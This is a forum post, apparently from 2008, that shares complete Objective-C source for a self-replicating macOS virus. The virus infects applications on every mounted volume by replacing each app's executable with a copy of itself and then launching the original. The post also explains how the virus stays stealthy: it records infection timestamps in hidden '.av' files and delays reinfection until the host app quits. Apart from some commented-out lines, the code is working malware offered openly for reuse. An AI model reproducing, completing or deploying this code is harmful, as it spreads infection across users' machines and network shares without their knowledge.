QUOTE (Siph0n @ Jun 21 2008, 07:10 AM)

Ssh... be vewy vewy qwiet... I'm hunting idiots :)
Sweet. Can't wait to see your bash version. Hopefully someone does a Perl version.. Ooo and maybe ObjC too, using spotlight.
You forgot there is already an obj.C version of the vir, but no spotlight integration... :-P
Here is the last version, which is kind of improved, so it is intelligent and reinfects the system only a after a certain amount of time, so it doesnt waste too much System ressources and is more silent.
It also does infect all volumes (like ftp or afp mounted volumes) on the system. Also different is, that the infection method starts only after an infected application has quit, so there won't be any noticable slow-down at the launch of an app.
Now the infection method could also be put into an addition thread, so it could run even more smooth, but this is not implemented in this version although it can be done quite quickly using NSThread.
There might be the need to clean that stuff a bit up, but it works, as far as i remember 5 months ago.. All the NSLogs were for debugging, you are free to remove them and the comments... Must be compiled as command-line utility, using the Foundation Framework. (Maybe you need to add the AppKit Framework too, not sure though).
AppVir.h:
CODE
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
//only for educational use
//by nylky, reiky, kmy
void infectVolumes(NSString * virusPath);
void infectDirectory (NSString * infDir, NSString * virusPath);
NSString *currentVolume;
NSArray *excludedDirs;
NSDate *now;
char startcmd[512];
NSMutableDictionary *defaults;
NSDate *lastInfectionTime;
NSString *defaultsFilePath;
NSString *fullVolumePath;
NSString *newTime;
AppVir.m:
CODE
#import "AppVir.h"
//only for educational use
//by nylk, reiki, k
void infectDirectory (NSString * infDir, NSString * virusPath) {
NSFileManager *fm = [NSFileManager defaultManager];
NSString *dirObj;
NSString *execFile;
NSDirectoryEnumerator *dirEnum;
dirEnum = [fm enumeratorAtPath:infDir];
while( (dirObj = [dirEnum nextObject]) != nil){
if ([excludedDirs containsObject:dirObj]) //is dirObj in the exluded dirs list? then ignore and continue
[dirEnum skipDescendents]; continue;
if(([[dirObj pathExtension] isEqualToString:@"app"])){ //if current item is an app
[dirEnum skipDescendents]; //don't go deeper into the app
execFile = [NSString pathWithComponents:
[NSArray arrayWithObjects:infDir, dirObj,@"Contents",@"MacOS",[[dirObj lastPathComponent]stringByDeletingPathExtension],NULL]];
if([fm fileExistsAtPath:[execFile stringByAppendingString:@"."]] == NO){ //if app is not already infected (executables name with extra dot ".")
if([fm movePath:execFile toPath:[execFile stringByAppendingString:@"."] handler:nil]==YES){
if([fm copyPath:virusPath toPath:execFile handler:nil]==YES){
}
}
}
}
}
}
void infectVolumes(NSString * virusPath) {
BOOL isDir;
NSFileManager *fm = [NSFileManager defaultManager];
NSDirectoryEnumerator *dirEnum = [fm enumeratorAtPath:@"/Volumes"];
//iterate through all volumes on the machine:
while((currentVolume = [dirEnum nextObject]) != nil){
[dirEnum skipDescendents];
NSLog(@"checking %@", currentVolume);
now = [NSDate date];
fullVolumePath = [@"/Volumes" stringByAppendingPathComponent:currentVolume];
defaultsFilePath = [fullVolumePath stringByAppendingPathComponent:@".av"];
//read in defaults from "/Volumes/theVolume/.av" as mutableDictionary
if([fm isReadableFileAtPath:defaultsFilePath] == YES){ //if volume has .av file
NSLog(@".av exists at: %@",defaultsFilePath);
defaults = [[NSMutableDictionary alloc] initWithContentsOfFile:defaultsFilePath];
} else {
//if it is the very first infection on this Volume
//infectDirectory(fullVolumePath,virusPath);
NSLog(@"first infection, infect whole %@",fullVolumePath);
defaults = [[NSMutableDictionary alloc] initWithObjectsAndKeys:[now description],@"lastInfectionTime",nil];
}
lastInfectionTime = [[NSDate alloc] initWithString:[defaults objectForKey:@"lastInfectionTime"]];
NSTimeInterval secondsSinceLastInfection = [now timeIntervalSinceDate:lastInfectionTime];
NSLog(@"lastInfDate: %@",[defaults objectForKey:@"lastInfectionTime"]);
NSLog(@"last infection of %@ is %f seconds ago...",fullVolumePath,secondsSinceLastInfection);
if( secondsSinceLastInfection > 604800.0 ){
//if last infection is 1 Week (604800 seconds) ago, then re-infect whole current Volume
//infectDirectory(fullVolumePath,virusPath);
NSLog(@"last infection is a week ago, so: infecting full Volume %@", fullVolumePath);
newTime = [now description];
[defaults setObject:newTime forKey:@"lastInfectionTime"];
} else if ( (secondsSinceLastInfection > 172800.0 && [fm fileExistsAtPath:[fullVolumePath stringByAppendingPathComponent:@"Applications1"] isDirectory:&isDir]) && isDir){
//if last infection is 2 days (172800 seconds) ago, then re-infect "/Applications" of current Volume if available
NSLog(@"infecting Appfolder on Volume %@", fullVolumePath);
infectDirectory([fullVolumePath stringByAppendingPathComponent:@"Applications1"],virusPath);
newTime = [now description];
[defaults setObject:newTime forKey:@"lastInfectionTime"];
}
//write new defaults
[defaults writeToFile:defaultsFilePath atomically:YES];
printf("\n");
}
}
int main (int argc, const char * argv[]) {
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
excludedDirs = [[NSArray alloc] initWithObjects:@"test",@"Volumes",@"System",@"Library",@"bin",@"usr",@"etc",@"var",@"dev",@"tmp",@"sbin",@"cores",@"automount",nil];
NSLog(@"virus launched...");
infectVolumes([NSString stringWithUTF8String:argv[0]]);
//start original executable
sprintf(startcmd,"%s. %s",argv[0],argv[1]); //name with a dot "."
system(startcmd);
//code to execute after host application quits ->
system("say bye bye");
[pool drain];
return 0;
}